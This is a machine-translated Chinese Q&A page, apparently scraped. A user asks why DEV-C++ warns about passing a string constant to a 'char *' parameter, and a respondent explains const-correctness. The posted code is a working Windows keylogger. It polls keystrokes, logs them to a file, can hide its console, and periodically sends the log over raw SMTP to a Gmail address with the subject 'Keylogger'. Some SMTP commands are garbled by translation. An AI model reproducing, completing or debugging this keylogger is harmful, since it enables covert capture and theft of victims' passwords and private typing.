问候,我的代码中有语法问题。你能帮助我吗?

伊戈(Iago Gonalves)

我有一个用c ++编写的代码,但是我使用的是称为DEV-C ++的IDE,它会出现编译错误:

[警告]不建议将字符串常量转换为'char *'[-Wwrite-strings]

错误指向if:savePressedKey内部的条件。

if(pressedKey) {
   savePressedKey(pressedKey, FILE_NAME);
   now = clock();
} 

我的代码在下面,也通过链接:https : //godbolt.org/z/zqgCzS

#include <stdio.h>
#include <windows.h>
#include <time.h>

#define INVISIBLE_CONSOLE 0 
#define SILENT_CONSOLE 0 

#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100 

#define FILE_NAME "MarcadorLog.txt"

#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "[email protected]"
#define EMAIL_TO "[email protected]"

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

void verifyStealthMode() {
    if(INVISIBLE_CONSOLE) {
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
    }
}

void savePressedKey(char pressedKey, char fileName[]) {
    FILE *file = fopen(fileName, "a+");

    fputc(pressedKey, file);
    fclose(file);
}

int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
    int pressedKey = 0;

    for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
        if(GetAsyncKeyState(character) == -32767) {
            pressedKey = character;
        }
    }

    return pressedKey;
}

int getFileLength(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    fseek(file, 0, SEEK_END);

    int fileLength = ftell(file);

    fclose(file);

    return fileLength;
}

char *getBufferFromFile(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    int fileLength = getFileLength(fileName);

    char *buffer = (char *) malloc(fileLength + 1);

    fread(buffer, sizeof(char), fileLength, file);

    buffer[fileLength] = '\0';

    fclose(file);

    return buffer;
}

void overrideFile(char fileName[]) {
    FILE *file = fopen(fileName, "w");

    fclose(file);
}

int main() {
    verifyStealthMode();

    clock_t timer;
    clock_t now = clock();

    while(1) {
        int pressedKey = getPressedKeyBetweenASCII(8, 255);

        if(pressedKey) {
            savePressedKey(pressedKey, FILE_NAME);

            now = clock();
        }

        timer = (clock() - now) / CLOCKS_PER_SEC;

        if(timer > LISTENER_TIMER) {
            int fileLength = getFileLength(FILE_NAME);

            if(fileLength > 0) {
                sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

                overrideFile(FILE_NAME);
            }

            now = clock();
        } else if(!SILENT_CONSOLE) {
            system("cls");
            printf("Lendo...");
            printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
        }
    }

    return 0;
}

void sendData(SOCKET sock, char data[]) {
    send(sock, data, strlen(data), 0);
    Sleep(SENDER_SLEEP_TIME);

    if(!SILENT_CONSOLE) printf("\n%s", data);
}

void sendEmail(char server[], char from[], char to[], char buffer[]) {
    SOCKET sock;
    WSADATA wsaData;
    struct hostent *host;
    struct sockaddr_in dest;

    char data[3000];

    // Get socket and dest:
    WSAStartup(0x202, &wsaData);

    host = gethostbyname(server);

    memset(&dest, 0, sizeof(dest));
    memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

    dest.sin_family = host->h_addrtype;
    dest.sin_port = htons(25);

    sock = socket(AF_INET, SOCK_STREAM, 0);

    connect(sock, (struct sockaddr *) &dest, sizeof(dest));
    Sleep(SENDER_SLEEP_TIME);

    sprintf(data, "Ola me.somepalace.com\n");
    sendData(sock, data);

    sprintf(data, "Email de: <%s>\n", from);
    sendData(sock, data);

    sprintf(data, "recebido por: <%s>\n", to);
    sendData(sock, data);

    sprintf(data, "DATA\n");
    sendData(sock, data);

    sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
    sendData(sock, data);

    sprintf(data, "sair\n");
    sendData(sock, data);

    if(!SILENT_CONSOLE) {
        printf("\ntodos os pacotes foram enviados");
        Sleep(5000);
        system("cls");
    }

    closesocket(sock);
    WSACleanup();
}
来自莫斯科的弗拉德

此警告意味着您正在尝试将字符串常量(在C ++中(与C相反))传递给函数的常量字符数组,该函数的相应参数没有限定符const

如果此函数不更改传递的字符串,则应声明为

void savePressedKey(char pressedKey, const char fileName[]);

否则,如果函数使用字符串文字作为参数更改传递的字符串,将导致未定义的行为。

即使程序是C程序,也应使用限定符声明参数const

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

我无法将 javascript 应用于 Wordpress。你能帮助我吗?

来自分类Dev

你能用python __init__帮助我吗

来自分类Dev

C ++的格式问题有人可以帮助我吗?

来自分类Dev

我在安装ckeditor时遇到一些问题,有人可以帮助我吗?

来自分类Dev

我正在使用 LOOKUP 查找第一个非空白,然后添加 1。当我添加太多新行时会出现问题。你能帮助我吗?

来自分类Dev

Ajax无法正常工作。我需要页眉和页脚不要每次都重新加载。你能帮助我吗?

来自分类Dev

我非常坚持这项计算作业,有人可以帮助我吗?

来自分类Dev

我使用cx_Freeze编译了我的python代码,代码在此之前运行良好,现在显示此错误有人可以帮助我吗?

来自分类Dev

我的代码有什么问题,请帮助我

来自分类Dev

你能帮我吗

来自分类Dev

“超级”对象没有属性“ __getattr__”,有人可以帮助我吗?

来自分类Dev

对继承感到困惑,有人可以帮助我吗?

来自分类Dev

轮播无法启动5。有人可以帮助我吗?

来自分类Dev

有人可以在Slim Framework中提供POST方法帮助我吗?

来自分类Dev

有人可以通过序言中的这个小程序帮助我吗?

来自分类Dev

有人可以用这种方法帮助我吗?

来自分类Dev

有人可以通过这个简单的For Loop帮助我吗?

来自分类Dev

我不明白这段代码的含义,你能帮我吗?

来自分类Dev

我正在尝试将int转换为BigInteger,有人可以帮助我吗?

来自分类Dev

我想将对象的数组列表保存到文件中。有人可以帮助我吗?

来自分类Dev

我正在尝试将int转换为BigInteger,有人可以帮助我吗?

来自分类Dev

无法找出为什么我会得到空指针异常,有人可以帮助我吗?

来自分类Dev

我无法在ubuntu 17.04上安装ubuntu tweak,有人可以帮助我吗?

来自分类Dev

我曾尝试在 ui 上显示集合视图但无法显示有人可以帮助我吗?

来自分类Dev

你好。我想降低 Java 脚本中按钮到顶部的滚动速度。任何人都可以帮助我吗?

来自分类Dev

键盘记录器代码中的错误。你能帮我吗?

来自分类Dev

需要学习一些JavaScript代码!你能帮我吗?

来自分类Dev

有人可以用一个简单的Perl脚本来帮助我吗

来自分类Dev

discord.js 中的“未定义”错误,有人可以帮助我吗?

Related 相关文章

  1. 1

    我无法将 javascript 应用于 Wordpress。你能帮助我吗?

  2. 2

    你能用python __init__帮助我吗

  3. 3

    C ++的格式问题有人可以帮助我吗?

  4. 4

    我在安装ckeditor时遇到一些问题,有人可以帮助我吗?

  5. 5

    我正在使用 LOOKUP 查找第一个非空白,然后添加 1。当我添加太多新行时会出现问题。你能帮助我吗?

  6. 6

    Ajax无法正常工作。我需要页眉和页脚不要每次都重新加载。你能帮助我吗?

  7. 7

    我非常坚持这项计算作业,有人可以帮助我吗?

  8. 8

    我使用cx_Freeze编译了我的python代码,代码在此之前运行良好,现在显示此错误有人可以帮助我吗?

  9. 9

    我的代码有什么问题,请帮助我

  10. 10

    你能帮我吗

  11. 11

    “超级”对象没有属性“ __getattr__”,有人可以帮助我吗?

  12. 12

    对继承感到困惑,有人可以帮助我吗?

  13. 13

    轮播无法启动5。有人可以帮助我吗?

  14. 14

    有人可以在Slim Framework中提供POST方法帮助我吗?

  15. 15

    有人可以通过序言中的这个小程序帮助我吗?

  16. 16

    有人可以用这种方法帮助我吗?

  17. 17

    有人可以通过这个简单的For Loop帮助我吗?

  18. 18

    我不明白这段代码的含义,你能帮我吗?

  19. 19

    我正在尝试将int转换为BigInteger,有人可以帮助我吗?

  20. 20

    我想将对象的数组列表保存到文件中。有人可以帮助我吗?

  21. 21

    我正在尝试将int转换为BigInteger,有人可以帮助我吗?

  22. 22

    无法找出为什么我会得到空指针异常,有人可以帮助我吗?

  23. 23

    我无法在ubuntu 17.04上安装ubuntu tweak,有人可以帮助我吗?

  24. 24

    我曾尝试在 ui 上显示集合视图但无法显示有人可以帮助我吗?

  25. 25

    你好。我想降低 Java 脚本中按钮到顶部的滚动速度。任何人都可以帮助我吗?

  26. 26

    键盘记录器代码中的错误。你能帮我吗?

  27. 27

    需要学习一些JavaScript代码!你能帮我吗?

  28. 28

    有人可以用一个简单的Perl脚本来帮助我吗

  29. 29

    discord.js 中的“未定义”错误,有人可以帮助我吗?

热门标签

归档